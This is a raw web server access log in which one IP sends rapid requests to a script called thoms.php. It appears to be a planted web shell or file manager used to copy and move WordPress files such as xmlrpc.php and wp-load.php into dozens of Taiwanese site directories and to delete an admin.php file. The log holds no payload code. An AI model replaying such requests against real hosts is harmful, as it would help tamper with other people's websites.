45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19057 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12835 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17385 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13158 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18557 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 11971 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19036 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18558 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19056 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:47 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11383 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19054 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19174 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11321 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19165 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18710 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19157 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19166 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 11995 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18711 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?del=admin.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13272 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
